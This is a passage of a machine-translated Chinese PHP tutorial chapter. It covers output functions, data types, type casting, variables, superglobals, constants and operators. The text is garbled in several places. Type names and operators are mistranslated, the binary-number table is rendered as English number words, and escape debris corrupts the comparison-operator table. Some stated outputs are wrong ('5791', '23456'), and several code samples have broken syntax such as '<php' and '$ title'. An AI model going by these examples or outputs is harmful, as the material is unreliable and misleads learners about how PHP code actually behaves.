即使你是一个编程新手,也要花些时间尝试一些高级的文档解决方案,比如 phpDox ( http://phpdox.de/ )。

多行注释

在代码中包含更详细的功能描述或其他解释性注释通常很方便,这在逻辑上保证了许多行。虽然您可以在每一行前面加一个双斜杠,但是 PHP 还提供了多行变体,可以在不同的行上打开和关闭注释。这里有一个例子:

<?php
    /*
      Processes PayPal payments
      This script is responsible for processing the customer's payment via PayPal.
accepting the customer'scredit card information and billing address.
      Copyright 2014W.J. Gilmore, LLC.
     */
?>

为了更加清晰,您经常会遇到每行都带有星号前缀的多行注释,如下所示:

<?php
    /*
* Processes PayPal payments
* This script is responsible for processing the customer's payment via PayPal.
     * accepting the customer'scredit card information and billing address.
* Copyright 2014 W.J. Gilmore, LLC.
     */
?> 

向客户端输出数据

当然,即使是最简单的动态网站也会向客户机(浏览器)输出数据,PHP 为此提供了几种方法。最常见的是print()函数和echo()语句。这两者有许多相似之处,也有一些不同之处。Echo 接受参数列表,不需要括号,也不返回值。要使用echo(),只需将你想要输出的参数传递给它,就像这样:

echo "I love the summertime.";

您还可以将多个变量传递给echo()语句,如下所示:

<?php
    $title = "<h1>Outputting content</h1>";
    $body = "<p>The content of the paragraph...</p>";
echo $ title , $ body ;
?>

该代码产生以下内容:

Outputting Content

The content of the paragraph...

当处理双引号字符串时,可以不使用连接操作符直接将变量嵌入到字符串中。只需将变量作为字符串"$title $body"的一部分。

PHP 用户更喜欢使用视觉提示来区分静态字符串和任何变量。您可以用花括号将变量括起来,如下所示:

echo "{$title} {$body}<p>Additional content</p>";

如果变量后面的字符串内容会被解释为变量的一部分,则需要括号。

<php
  $a = 5;
  echo "$a_abc<br/>";  //there is no variable $a_abc this will not show the value of $a
  echo "{$a}_abc<br/>";  //Now $a is isolated as a variable and the output will be as expected.

?>

第一个 echo 语句将产生一个空行,第二个语句将显示附加了 _abc 的值$a

5_abc

虽然 echo()看起来像一个函数,但它实际上是一个语言构造。这就是为什么它可以不带括号使用,并且允许传递逗号分隔的参数列表,如下例所示:

<php
  $a = "The value is: ";
  $b = 5;
  echo $a, $b;
?>

使用 printf()语句的复杂输出

当您想要输出存储在一个或几个变量中的静态文本和动态信息的混合时,printf()语句是理想的。它非常理想,原因有二。首先,它巧妙地将静态和动态数据分成两个不同的部分,从而提高了可读性并易于维护。第二,printf()允许您根据动态信息的类型、精度、对齐和位置,对动态信息在屏幕上的呈现方式进行相当大的控制。例如,假设您想将一个动态整数值插入到一个静态字符串中,如下所示:

printf("Bar inventory: %d bottles of tonic water.", 100);

执行此命令会产生以下结果:

Bar inventory: 100 bottles of tonic water.

在这个例子中, %d 是一个占位符,称为类型说明符,而 d 表示一个整数值将被放置在那个位置。当printf()语句执行时,唯一的参数100将被插入到占位符中。请记住,整数是预期的,因此如果您传递一个包含十进制值的数字(称为 float ),它将被向下舍入到最接近的整数。如果你传递100.2100.6,那么100将被输出。传递一个字符串值,比如“一百”,将会输出 0,尽管如果传递123food,那么123将会输出。类似的逻辑适用于其他类型说明符(常用说明符列表见表 3-1 )。

表 3-1

常用的类型说明符

|

类型

|

描述

|
| --- | --- |
| %b | 参数被视为整数;以二进制数表示 |
| %c | 参数被视为整数;表示为对应于该 ASCII 值的字符 |
| %d | 参数被视为整数;表示为带符号的十进制数 |
| %f | 被视为浮点数的参数;表示为浮点数 |
| %o | 参数被视为整数;表示为八进制数 |
| %s | 被视为字符串的参数;以字符串形式呈现 |
| %u | 参数被视为整数;表示为无符号十进制数 |

那么如果你想传递两个值呢?只需在字符串中插入两个说明符,并确保将两个值作为参数传递。例如,下面的printf()语句传入一个整数和浮点值:

printf("%d bottles of tonic water cost $%f.", 100, 43.20);

执行此命令会产生以下结果:

100 bottles of tonic water cost $43.200000.

因为$43.200000不是理想的货币表示,当处理小数值时,可以使用精度说明符将精度调整到两位小数。下面是一个例子:

printf("$%.2f", 43.2); // outputs $43.20

还有其他说明符用于调整参数的对齐、填充、符号和宽度。更多信息请参考 PHP 手册。

sprintf()语句

sprintf()语句在功能上与printf()相同,只是输出被分配给一个字符串,而不是作为输出呈现给客户端。原型如下:

string sprintf(string format [, mixed arguments])

下面是一个例子:

$cost = sprintf("$%.2f", 43.2); // $cost = $43.20

PHP 的数据类型

数据类型是分配给共享一组公共特征的任何数据的通用名称。常见的数据类型包括布尔、整数、浮点、字符串和数组。PHP 早就提供了一组丰富的数据类型,这将在下面讨论。

标量数据类型

标量数据类型用于表示单个值。有几种数据类型属于这一类别,包括布尔型、整型、浮点型和字符串型。

布尔代数学体系的

布尔数据类型以乔治·布尔(1815-1864)的名字命名,他是一位数学家,被认为是信息论的创始人之一。布尔数据类型代表真实,只支持两个值:true 和 false。或者,可以用零来表示FALSE,用任何非零值来表示TRUE。下面是几个例子:

$alive = false;       // $alive is false.
$alive = true;        // $alive is true.
$alive = 1;           // $alive is true.
$alive = -1;          // $alive is true, because -1 is nonzero.
$alive = 5;           // $alive is true.
$alive = 0;           // $alive is false.
$alive = 'a';         // $alive is true.
$alive = '1';         // $alive is true.
$alive = '0';         // $alive is false.

在上面的例子中,只有前两个赋值将导致一个布尔值被赋给变量$alive。其他赋值将产生一个字符串或整数值,见下文。当下面列出的任何值在if语句中使用时,如下所示,它们都将被视为布尔值。这是因为 PHP 在执行if语句之前做了必要的变量转换。

if ($alive) { ... }

如果值为 0、' 0 '、false 或 null(未定义),则此语句为 false,在所有其他情况下为 true。字符串“0”的计算结果为 false,因为它首先被转换为整数,然后被转换为布尔值。

整数

一个整数代表任何整数,或者换句话说,一个不包含小数部分的数。PHP 支持几种基本格式的整数值,其中包括以 10 为基数(十进制)和以 16 为基数(十六进制)的计数系统,尽管您可能只关心第一种系统。整数表示的几个例子如下:

42           // decimal
-678900      // decimal
0755         // octal
0xC4E        // hexadecimal
0b1010       // binary

浮动

浮点数,也称为浮点数双精度数实数,允许您指定包含小数部分的数字。当一个简单的整数值不够用时,浮点数被用来表示货币值、重量、距离和一大堆其他的表示形式。PHP 的浮点可以用多种方式指定,这里演示了其中几种:

4.5678
4.0
8.7e4
1.23E+11

线

简单地说,字符串是被视为连续组的字符序列。字符串由单引号或双引号分隔,尽管 PHP 还支持另一种定界方法,这将在后面的“字符串插值”一节中介绍。

以下是有效字符串的所有示例:

"PHP is a great language"
"whoop-de-do"
'*9subway\n'
"123$%⁷⁸⁹"
"123"
"12.543"

最后两个值是数字字符串。PHP 允许在数学运算中使用它们,如下例所示:

<?php
$a = "123";
$b = "456";

echo $a + $b . "\n";
echo $a . $b . "\n";

不是\(a 和\)b 如何被定义为字符串,而是当这些值相加时,它们将被转换为数字。在第二个示例中,我们使用串联运算符将两个字符串相加。

5791
23456

复合数据类型

复合数据类型允许相同类型或不同类型的多个项目聚集在单个代表性实体下。数组物体就属于这一类。

排列

将一系列相似的项目聚集在一起,以某种特定的方式排列和引用它们通常是有用的。这个数据结构被称为数组,正式定义为数据值的索引集合。数组索引的每个成员(也称为)引用一个对应的值,并且可以是对该值在序列中的位置的简单数字引用,也可以与该值有一些直接的关联。例如,如果您对创建美国各州的列表感兴趣,可以使用数字索引数组,如下所示:

$state[0] = "Alabama";
$state[1] = "Alaska";
$state[2] = "Arizona";
...
$state[49] = "Wyoming";

但是,如果这个项目需要将美国各州和它们的首都联系起来呢?您可以使用关联索引代替基于数字索引的键,如下所示:

$state["Alabama"] = "Montgomery";
$state["Alaska"] = "Juneau";
$state["Arizona"] = "Phoenix";
...
$state["Wyoming"] = "Cheyenne";

数组是在第五章正式介绍的,所以如果你现在还没有完全理解这些概念,不要太在意。

注意

PHP 还支持由几个维度组成的数组,更好的说法是多维数组。第五章也介绍了这个概念。

目标

PHP 支持的另一种复合数据类型是对象。对象是面向对象编程范例的核心概念。如果你是面向对象编程的新手,第六章和第七章会专门讨论这个话题。

与 PHP 语言中包含的其他数据类型不同,对象必须显式声明。对象特征和行为的声明发生在一个叫做的东西中。下面是一个类定义和后续调用的一般示例:

class Appliance {
   private $_power;
   function setPower($status) {
      $this->_power = $status;
   }
}
...
$blender = new Appliance;

一个类定义创建了几个与数据结构相关的属性和函数,在这个例子中,数据结构名为Appliance。只有一个属性power,可以使用setPower()方法进行修改。

但是,请记住,类定义是一个模板,它本身不能被操作。相反,基于该模板创建对象。这是通过关键字new完成的。因此,在前面清单的最后一行,创建了一个名为blender的类Appliance的对象。

然后可以利用setPower():方法设置blender对象的power属性

$blender->setPower("on");

第六章和第七章致力于 PHP 面向对象开发模型的全面覆盖。

使用类型转换在数据类型之间转换

将值从一种数据类型转换为另一种数据类型被称为类型转换。通过将变量转换为另一种类型,可以将变量作为不同的类型计算一次。这是通过将预期类型放在要转换的变量前面来实现的。可以通过在变量前插入表 3-2 中所示的操作符之一来转换类型。

表 3-2

铅字铸造操作员

|

强制转换运算符

|

转换

|
| --- | --- |
| (array) | 排列 |
| (bool)(boolean) | 布尔代数学体系的 |
| (int)(integer) | 整数 |
| (object) | 目标 |
| (real)(double)(float) | 浮动 |
| (string) | 线 |

让我们考虑几个例子。假设您想将一个整数转换为双精度型,如下所示:

$score = (double) 13; // $score = 13.0

将 double 类型转换为 integer 类型将导致整数值向下舍入,而不考虑小数值。这里有一个例子:

$score = (int) 14.8; // $score = 14

如果将字符串数据类型转换为整数数据类型,会发生什么情况?让我们来看看:

$sentence = "This is a sentence";
echo (int) $sentence; // returns 0

虽然这可能不是预期的结果,但很难说您是否愿意像这样转换字符串。当用于数学运算或使用 cast 运算时,PHP 会将字符串转换为有代表性的数值。另一个例子是字符串“123 house ”,它将被转换为数值 123。

您也可以将数据类型转换为数组的成员。被转换的值只是成为数组的第一个元素,就像这样:

$score = 1114;
$scoreboard = (array) $score;
echo $scoreboard[0]; // Outputs 1114

请注意,这不应该被认为是向数组中添加项目的标准做法,因为这似乎只适用于新创建的数组的第一个成员。如果对现有数组进行强制转换,该数组将被清除,仅在第一个位置留下新转换的值。有关创建数组的更多信息,请参见第五章。

最后一个例子:任何数据类型都可以被转换为对象。结果是变量变成了对象的属性,该属性的名称为scalar:

$model = "Toyota";
$obj = (object) $model;

然后,可以按如下方式引用该值:

print $obj->scalar; // returns "Toyota"

通过类型转换调整数据类型

由于 PHP 对类型定义的宽松态度,变量有时会被自动转换为最适合它们被引用的环境。考虑下面的片段:


<?php
    $total = 5;       // an integer
    $count = "15";    // a string
    $total = $total + $count; // $total = 20 (an integer)
?>

使用+=运算符可以将语句$total = $total + $count;写得更短:

$total += $count;

结果是预期的;$total被赋值为 20,在这个过程中把$count变量从字符串转换成整数。下面是另一个展示 PHP 类型转换能力的例子:

<?php
    $total = "45 fire engines";
    $incoming = 10;
echo $incoming + $total; // 55
?>

原始$total字符串开头的整数值用于计算。但是,如果它不是以数字表示开始,那么它的值就是0

让我们考虑最后一个特别有趣的例子。如果数学计算中使用的字符串包含代表科学记数法的eE (,它将被计算为浮点数,如下所示:

<?php
    $val1 = "1.2e3"; // "1200"
    $val2 = 2;
    echo $val1 * $val2; // outputs 2400 as 1.2e3 as a float is1200
?>

类型标识符函数

许多函数可用于确定变量的类型,包括is_array(), is_bool(), is_float(), is_integer(), is_null(), is_numeric(), is_object(), is_resource(), is_scalar(),is_string()。因为所有这些函数都遵循相同的命名约定、参数和返回值,所以它们的介绍被合并到一个示例中。通用原型如下:

boolean is_name(mixed var)

所有这些功能都集中在这一部分,因为每个功能最终都完成相同的任务。每个函数确定由var指定的变量是否满足由函数名指定的特定条件。如果var确实是函数名测试的类型,则返回TRUE;否则,返回FALSE。下面是一个例子:

<?php
    $item = 43;
    printf("The variable \$item is of type array: %d <br />", is_array($item));
    printf("The variable \$item is of type integer: %d <br />", is_integer($item));
    printf("The variable \$item is numeric: %d <br />", is_numeric($item));
?>

该代码返回以下内容:

The variable $item is of type array: 0
The variable $item is of type integer: 1
The variable $item is numeric: 1

虽然is_array()is_integer()is_numeric()函数返回一个布尔值,但代码显示输出为 0 和 1。这是因为在printf()语句中使用的%d 占位符会将布尔值转换成整数。

您可能对$item前面的反斜杠感到疑惑。考虑到美元符号标识变量的特殊目的,如果您想将它输出到屏幕上,必须有一种方法来告诉解释器将它作为普通字符处理。用反斜杠分隔美元符号将实现这一点。

使用变量操作动态数据

虽然变量在本章的许多例子中被使用,但是这个概念还没有被正式引入。本节从定义开始。变量是可以在不同时间存储不同值的符号。例如,假设您创建了一个能够执行数学任务的基于 web 的计算器。当然,用户会想要输入他选择的值;因此,程序必须能够动态存储这些值并相应地执行计算。同时,程序员需要一种用户友好的方式来引用应用中的这些值持有者。变量完成这两项任务。

鉴于这一编程概念的重要性,明确地为变量的声明和操作打下基础将是明智的。在本节中,将详细研究这些规则。

变量声明

一个变量总是以一个美元符号$开始,然后是变量名。变量名可以以字母或下划线开头,可以由字母、下划线、数字或 127 到 255 之间的其他 ASCII 字符组成。以下是所有有效的变量:

  • $color

  • $operating_system

  • $_some_variable

  • $model

以及一些无效变量名的例子:

  • $ color

  • $'test'

  • $-some-variable

请注意,变量区分大小写。例如,以下变量相互之间没有关系:

  • $color

  • $Color

  • $COLOR

在 PHP 中,变量不必像在 c 语言中那样显式声明,相反,变量可以同时声明和赋值。尽管如此,仅仅因为你做某事并不意味着你应该。良好的编程实践表明,所有变量都应该在使用前初始化,最好附带注释。如果变量在使用时没有定义,PHP 将赋予一个默认值。

一旦你初始化了你的变量,你可以在计算和输出中使用它们。变量赋值有两种方法:按值赋值和按引用赋值。

给变量赋值

按值赋值只是将被赋值表达式的值复制到变量 assignee。这是最常见的作业类型。下面是几个例子:

$color = "red";
$number = 12;
$age = 12;
$sum = $age + "15"; // $sum = 27

请记住,这些变量中的每一个都拥有分配给它的表达式的副本。例如,$number$age各自拥有值 12 的唯一副本。如果给其中一个赋值,另一个不受影响。如果你希望两个变量指向一个值的同一个副本,你需要通过引用来赋值。

通过引用分配变量

PHP 允许您通过引用来分配变量,这实质上意味着您可以创建一个变量来引用与另一个变量相同的内容。因此,对引用可变内容的特定项目的任何变量的改变将反映在引用相同内容的所有其他变量中。您可以通过在等号后面添加一个&符号&来引用变量。让我们考虑一个例子:

<?php
    $value1 = "Hello";
    $value2 =& $value1;    // $value1 and $value2 both equal "Hello"
    $value2 = "Goodbye";   // $value1 and $value2 both equal "Goodbye"
?>

还支持另一种引用赋值语法,即在被引用的变量前面附加&符号。以下示例遵循这一新语法:

<?php
    $value1 = "Hello";
    $value2 = &$value1;    // $value1 and $value2 both equal "Hello"
    $value2 = "Goodbye";   // $value1 and $value2 both equal "Goodbye"
?>

PHP 的超全局变量

PHP 提供了许多有用的预定义变量,可以从执行脚本中的任何地方访问这些变量,并为您提供大量特定于环境的信息。您可以筛选这些变量来检索关于当前用户会话、用户操作环境、本地操作环境等等的细节。在这一节中,我将介绍几个最常用的超全局变量,其他超全局变量的介绍留到后面的章节。让我们从一个输出通过$_SERVER超全局可用的所有数据的例子开始:

foreach ($_SERVER as $var => $value) {
   echo "$var => $value <br />";
}'

如您所见,相当多的信息是可用的——有些有用,有些不太有用。您可以只显示这些变量中的一个,只需将其视为常规变量。例如,使用它来显示用户的 IP 地址:

HTTP_HOST => localhost
HTTP_USER_AGENT => Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
HTTP_ACCEPT => text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
HTTP_ACCEPT_LANGUAGE => en-US,en;q=0.5
HTTP_ACCEPT_ENCODING => gzip, deflate
HTTP_DNT => 1
HTTP_CONNECTION => keep-alive
PATH => /usr/bin:/bin:/usr/sbin:/sbin
SERVER_SIGNATURE =>
SERVER_SOFTWARE => Apache/2.2.21 (Unix) mod_ssl/2.2.21 OpenSSL/0.9.8y DAV/2 PHP/5.3.6
SERVER_NAME => localhost
SERVER_ADDR => ::1
SERVER_PORT => 80
REMOTE_ADDR => ::1
DOCUMENT_ROOT => /Applications/MAMP/htdocs
SERVER_ADMIN => webmaster@dummy-host.example.com
SCRIPT_FILENAME => /Applications/MAMP/htdocs/5thedition/03/superglobal.php
REMOTE_PORT => 50070
GATEWAY_INTERFACE => CGI/1.1
SERVER_PROTOCOL => HTTP/1.1
REQUEST_METHOD => GET
QUERY_STRING =>
REQUEST_URI => /5thedition/03/superglobal.php
SCRIPT_NAME => /5thedition/03/superglobal.php
PHP_SELF => /5thedition/03/superglobal.php
REQUEST_TIME => 1383943162
argv => Array
argc => 0

如您所见,相当多的信息是可用的——有些有用,有些不太有用。您可以只显示这些变量中的一个,只需将其视为常规变量。例如,使用它来显示用户的 IP 地址:

printf("Your IP address is: %s", $_SERVER['REMOTE_ADDR']);

这将返回一个数字 IP 地址,如 192.0.34.166。

您还可以获得有关用户浏览器和操作系统的信息。考虑以下一行程序:

printf("Your browser is: %s", $_SERVER['HTTP_USER_AGENT']);

这将返回类似于以下内容的信息:

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0

这个例子只展示了 PHP 九个预定义变量数组中的一个。本节的其余部分将专门介绍每种方法的目的和内容。

了解有关服务器和客户端的更多信息

$_SERVER超全局包含由 web 服务器创建的信息,比如关于服务器和客户机配置以及当前请求环境的细节。虽然在$_SERVER中找到的变量的值和数量因服务器而异,但是您通常可以找到在 CGI 1.1 规范中定义的变量( https://www.w3.org/CGI )。您可能会发现所有这些变量在您的应用中都非常有用,其中一些变量包括:

  • 将用户指引到当前位置的页面的 URL。

  • $_SERVER['REMOTE_ADDR']:客户端的 IP 地址。

  • $_SERVER['REQUEST_URI']:URL 的路径部分。例如,如果网址是http://www.example.com/blog/apache/index.html,URI 就是/blog/apache/index.html

  • 客户端的用户代理,通常提供关于操作系统和浏览器的信息。

检索使用 GET 传递的变量

$_GET超全局包含与使用GET方法传递的任何参数相关的信息。如果请求 URL http://www.example.com/index.html?cat=apache&id=157 ,您可以通过使用$_GET超级全局变量来访问以下变量:

$_GET['cat'] = "apache"
$_GET['id'] = "157"

默认情况下,$_GET超全局是访问通过GET方法传递的变量的唯一方式。你不能像这样引用GET变量:$cat, $id.关于用 PHP 处理表单和安全访问外部数据的更多信息,请参见第十三章。

检索使用 POST 传递的变量

$_POST超全局包含与使用POST方法传递的任何参数相关的信息。考虑下面的 HTML 表单,用于请求订阅者信息:

<form action="subscribe.php" method="post">
<p>
      Email address:<br />
<input type="text" name="email" size="20" maxlength="50" value="" />
</p>
<p>
      Password:<br />
<input type="password" name="pswd" size="20" maxlength="15" value="" />
</p>
<p>
<input type="submit" name="subscribe" value="subscribe!" />
</p>
</form>

以下POST变量将通过目标subscribe.php脚本可用:$_POST['email']$_POST['pswd']$_POST['subscribe']

$_GET一样,$_POST超全局默认是访问POST变量的唯一方式。你不能像这样引用POST变量:$email, $pswd,和$subscribe。我将在第十三章中更多地谈论POST超级全球。

如果表单中的action参数看起来像“subscribe.php?mode=subscribe”,即使请求方法是 POST,模式变量也将在$_GET数组中可用。换句话说,$_GET数组将包含作为查询字符串的一部分传入的所有参数。

了解操作系统环境的更多信息

超级全局提供了关于 PHP 解析器底层服务器环境的信息。该数组中的一些变量包括:

  • $_ENV['HOSTNAME']:服务器主机名

  • $_ENV['SHELL']:系统外壳

注意

PHP 支持另外两个超级全局变量,即$GLOBALS$_REQUEST$_REQUEST超全局是各种各样的集合,记录通过GETPOSTCookie方法传递给脚本的变量。这些变量的顺序不取决于它们在发送脚本中出现的顺序;相反,它取决于由variables_order配置指令指定的顺序。$GLOBALS超全局数组可以被认为是超全局超集,它包含了全局范围内所有变量的完整列表。虽然这可能很诱人,但是您不应该使用这些超全局变量作为处理变量的方便方法,因为这是不安全的。参见第二十一章获取解释。

用常量管理常量数据

一个常量是一个在程序执行过程中不能被修改的值。常数在处理绝对不需要修改的值时特别有用,例如 Pi (3.141592)或一英里的英尺数(5,280)。一旦常量被定义,它就不能在程序的任何其他地方被改变(或重新定义)。使用define()函数或const关键字定义常量。

定义常数

define()函数通过给名称赋值来定义常数。考虑下面的例子,其中定义了数学常数 Pi:

define("PI", 3.141592);

或者使用 const 关键字:

Const PI = 3.141592;

该常数随后用于以下代码中:

printf("The value of Pi is %f", PI);
$pi2 = 2 * PI;
printf("Pi doubled equals %f", $pi2);

这段代码会产生以下结果:

The value of pi is 3.141592.
Pi doubled equals 6.283184.

关于这段代码有几点需要注意。第一个是常量引用没有以美元符号开头。第二是一旦定义了常量就不能重定义或者取消定义(比如 PI =2*PI);如果需要基于常量生成一个值,该值必须存储在另一个变量或常量中。最后,常数是全局的;除了下面提到的例外,它们可以在脚本中的任何地方被引用,通常的做法是将常量名称定义为全部大写字母。

使用const关键字和define()函数有一些不同。const键是在编译时计算的,因此在函数或 if 语句中使用是无效的。define 函数在运行时计算。用const键定义的常量总是区分大小写的,其中define()函数有第三个可选参数,允许不区分大小写的定义。

用表情采取行动

一个表达式是一个表示程序中特定动作的短语。所有表达式至少由一个操作数和一个或多个运算符组成。下面是几个例子:

$a = 5;                   // assigns integer value 5 to the variable $a
$a = "5";                 // assigns string value "5" to the variable $a
$sum = 50 + $some_int;    // assigns sum of 50 + $some_int to $sum
$wine = "Zinfandel";      // assigns "Zinfandel" to the variable $wine
$inventory++;             // increments the variable $inventory by 1

用操作数定义输入

操作数是一个表达式的输入。不仅通过日常的数学计算,而且通过以前的编程经验,您可能已经熟悉了操作数的操作和使用。操作数的一些例子如下:

$a++; // $a is the operand
$sum = $val1 + val2; // $sum, $val1 and $val2 are operands

用运算符定义操作

一个操作符是一个在表达式中指定一个特定动作的符号。很多运营商你可能都很熟悉。无论如何,您应该记住 PHP 的自动类型转换将根据放置在两个操作数之间的运算符的类型来转换类型,这在其他编程语言中并不总是如此。

运算符的优先性和结合性是编程语言的重要特征。这两个概念都将在本节中介绍。表 3-3 包含所有操作符的完整列表,按优先级从高到低排序。

表 3-3

运算符优先级、结合性和用途

|

结合性

|

经营者

|

附加说明

|
| --- | --- | --- |
| 非联想性的 | 克隆新的 | clonenew |
| left | `` | array() |
| right | ** | arithmetic |
| right | ++-~(int)(float)(string)(array)(object)(bool)@ | typesincrement/decrement |
| non-associative | instanceof | types |
| right | ! | logical |
| left | * / % | arithmetic |
| left | + -。 | arithmetic and string |
| left | << >> | bitwise |
| non-associative | < <= > >= | comparison |
| non-associative | == != === !== <> <=> | comparison |
| left | & | bitwise and references |
| left | ^ | bitwise |
| left | &#124; | bitwise |
| left | && | logical |
| left | &#124;&#124; | logical |
| right | ?? | comparison |
| left | ? : | ternary |
| right | = += -= *= **= /= .= %= &= &#124;= ^= <<= >>= | assignment |
| left | and | logical |
| left | xor | logical |
| left | or | logical |

运算符优先级

运算符优先级是运算符的一个特征,它决定了运算符对周围操作数求值的顺序。PHP 遵循小学数学课中使用的标准优先规则。考虑几个例子:

$total_cost = $cost + $cost * 0.06;

这与编写以下代码是一样的,因为乘法运算符的优先级高于加法运算符:

$total_cost = $cost + ($cost * 0.06);

理解运算符结合性

运算符的结合性特性指定了相同优先级的运算(即具有相同的优先级值,如表 [3-3 所示)在执行时的求值方式。关联性可以在两个方向上执行,从左到右或从右到左。从左到右的结合性意味着组成表达式的各种操作是从左到右计算的。考虑以下示例:

$value = 3 * 4 * 5 * 7 * 2;

前面的示例与下面的示例相同:

$value = ((((3 * 4) * 5) * 7) * 2);

这个表达式产生值840,因为乘法(*)运算符是从左到右关联的。

相反,从右到左的结合性从右到左计算相同优先级的运算符:

$c = 5;
echo $value = $a = $b = $c;

前面的示例与下面的示例相同:

$c = 5;
$value = ($a = ($b = $c));

当这个表达式被求值时,变量$value, $a, $b,$c都将包含值5,因为赋值操作符(=)具有从右向左的结合性。

算术运算符简介

表 3-4 中列出的算术运算符,执行各种数学运算,可能会在你的许多 PHP 程序中频繁使用。幸运的是,它们很容易使用。

顺便提一下,PHP 提供了大量预定义的数学函数,能够执行基数转换和计算对数、平方根、几何值等等。查看手册,获取这些功能的更新列表。

表 3-4

算术运算符

|

例子

|

标签

|

结果

|
| --- | --- | --- |
| $a + $b | 添加 | $a$b之和 |
| $a - $b | 减法 | $a$b的区别 |
| $a * $b | 增加 | $a$b的乘积 |
| $a / $b | 分开 | $a$b的商 |
| $a % $b | 系数 | $a除以$b的余数 |

赋值运算符

赋值运算符将数据值赋给变量。最简单的赋值操作符只是赋值,而其他的(被称为快捷赋值操作符)在赋值之前执行一些其他的操作。表 3-5 列出了使用这种操作器的例子。

表 3-5

赋值运算符

|

例子

|

标签

|

结果

|
| --- | --- | --- |
| $a = 5 | 分配 | $a等于 5 |
| $a += 5 | 加法-赋值 | $a等于$a加 5 |
| $a *= 5 | 乘法-赋值 | $a等于$a乘以 5 |
| $a /= 5 | 分工-分配 | $a等于$a除以 5 |
| $a .= 5 | 串联赋值 | $a等于与 5 连接的$a |

字符串运算符

PHP 的字符串操作符(见表 3-6 )提供了一种将字符串连接在一起的便捷方式。有两个这样的运算符,包括串联运算符(。)和串联赋值运算符(。=)在上一节讨论过。

注意

连接的意思是将两个或更多的对象结合在一起,形成一个单一的实体。

表 3-6

字符串运算符

|

例子

|

标签

|

结果

|
| --- | --- | --- |
| $a = "abc"."def"; | 串联 | $a被赋予字符串“abcdef" |
| $a .= "ghijkl"; | 串联赋值 | $a等于其与"ghijkl"连接的当前值 |

下面是一个涉及字符串运算符的示例:

// $a contains the string value "Spaghetti & Meatballs";
$a = "Spaghetti" . "& Meatballs";

$a .= " are delicious."
// $a contains the value "Spaghetti & Meatballs are delicious."

这两个串联操作符很难扩展 PHP 的字符串处理能力。参见第九章了解这一重要功能的完整说明。

递增和递减运算符

表 3-7 中列出的增量 ( ++)和减量 ( --)运算符在代码清晰性方面提供了一点便利,提供了一种简化的方法,通过这种方法可以将变量的当前值加 1 或减 1。

表 3-7

递增和递减运算符

|

例子

|

标签

|

结果

|
| --- | --- | --- |
| ++$a$a++ | 增量 | 将$a增加 1 |
| --$a$a-- | 减量 | 将$a减 1 |

这些操作符可以放在变量的任何一边,放在哪一边会产生稍微不同的效果。考虑以下示例的结果:

$inv = 15;         // Assigns integer value 15 to $inv
$oldInv = $inv--;  // Assigns $oldInv the value of $inv, then decrement $inv
$origInv = ++$inv; // Increments $inv, then assign the new $inv value to $origInv

如您所见,递增和递减运算符的使用顺序对变量值有重要影响。在操作数前面加上这些运算符之一称为前递增和前递减运算,而在操作数后面加上前缀称为后递增和后递减运算

逻辑运算符

就像算术运算符一样,逻辑运算符(见表 3-8 )可能会在许多 PHP 应用中扮演重要角色,提供一种基于多个变量的值做出决策的方法。逻辑操作符可以引导程序的流程,经常与控制结构一起使用,如if条件、whilefor循环。

逻辑运算符还通常用于提供其他运算结果的详细信息,尤其是那些返回值的运算:

$file = fopen("filename.txt", 'r') OR die("File does not exist!");

将会出现两种结果之一:

表 3-8

逻辑运算符

|

例子

|

标签

|

结果

|
| --- | --- | --- |
| $a && $b | 和 | 如果$a$b都为真,则为真 |
| $a AND $b | 和 | 如果$a$b都为真,则为真 |
| $a &#124;&#124; $b | 运筹学 | 如果$a$b为真,则为真 |
| $a OR $b | 运筹学 | 如果$a$b为真,则为真 |
| !$a | 不 | 如果$a不为真,则为真 |
| NOT $a | 不 | 如果$a不为真,则为真 |
| $a XOR $b | 异或 | 如果仅$a或仅$b为真,则为真 |

  • 文件filename.txt存在。

  • 句子“文件不存在!”将被输出。

等式运算符

相等运算符(见表 3-9 )用于比较两个值,测试是否相等。

表 3-9

等式运算符

|

例子

|

标签

|

结果

|
| --- | --- | --- |
| $a == $b | 等于 | 如果$a$b相等,则为真 |
| $a != $b | 不等于 | 如果$a不等于$b则为真 |
| $a === $b | 与相同 | 如果$a$b等价并且$a$b类型相同,则为真 |

即使是有经验的程序员也很容易犯这样的错误:试图只使用一个等号(例如$a = $b)来测试相等性。请记住,这将导致将$b的内容分配给$a,从而不会产生预期的结果。它将根据$b的值评估为真或假。

比较运算符

比较运算符(见表 3-10 )像逻辑运算符一样,通过检查两个或多个变量的比较值,提供了一种引导程序流程的方法。

表 3-10

比较运算符

|

例子

|

标签

|

结果

|
| --- | --- | --- |
| $a < $b | 不到 | 如果$a小于$b则为真 |
| $a > $b | 大于 | 如果$a大于$b则为真 |
| $a <= $b | 小于或等于 | 如果\(a 小于或等于`\)b,则为真 | | $a >= \(b` | 大于或等于 | 如果`\)a大于或等于\(b`则为真 | | `\)a <=> \(b` | 小于、等于或大于 | o 如果两个值相等,如果\)a 小于\(b,则为-1,如果\)a 大于\(b,则为 1。这是 PHP 7.0 中引入的“飞船”运算符 | | `(\)a == 12) ? 5 : -1 | 第三的 | 如果\(a`等于`12`,返回值为`5`;否则,返回值为`–1` | | `\)a ?: 5| 三元速记 | 如果真值与表达式相同,则可以省去三元运算符的中间部分。 | |\(a ?? 'default'` | 零合并算子 | 这是 PHP 7.0 中引入的,它首先检查是否给\)a 赋值,如果是,它将返回$a,如果没有赋值,将返回“默认”值。 |

请注意,比较运算符应该只用于比较数值。尽管您可能想用这些操作符来比较字符串,但如果您这样做,很可能不会得到预期的结果。有一组预定义的函数来比较字符串值;第九章详细讨论了这些问题。

按位运算符

按位运算符在构成整数值(因此得名)的单个位的级别上检查和操作整数值。要完全理解这个概念,您至少需要十进制整数的二进制表示的介绍性知识。表 3-11 显示了一些十进制整数及其相应的二进制表示。

表 3-11

二进制表示

|

十进制整数

|

二进制表示法

|
| --- | --- |
| Two | Ten |
| five | One hundred and one |
| Ten | One thousand and ten |
| Twelve | One thousand one hundred |
| One hundred and forty-five | Ten million ten thousand and one |
| One million four hundred and fifty-two thousand and twelve | 101100010011111101100 |

表 3-12 中列出的按位运算符是一些逻辑运算符的变体,但可能会导致截然不同的结果。

表 3-12

按位运算符

|

例子

|

标签

|

结果

|
| --- | --- | --- |
| $a & $b | 和 | 以及包含在$a$b中的每个位 |
| $a &#124; $b | 运筹学 | 或者包含在$a$b中的每个位 |
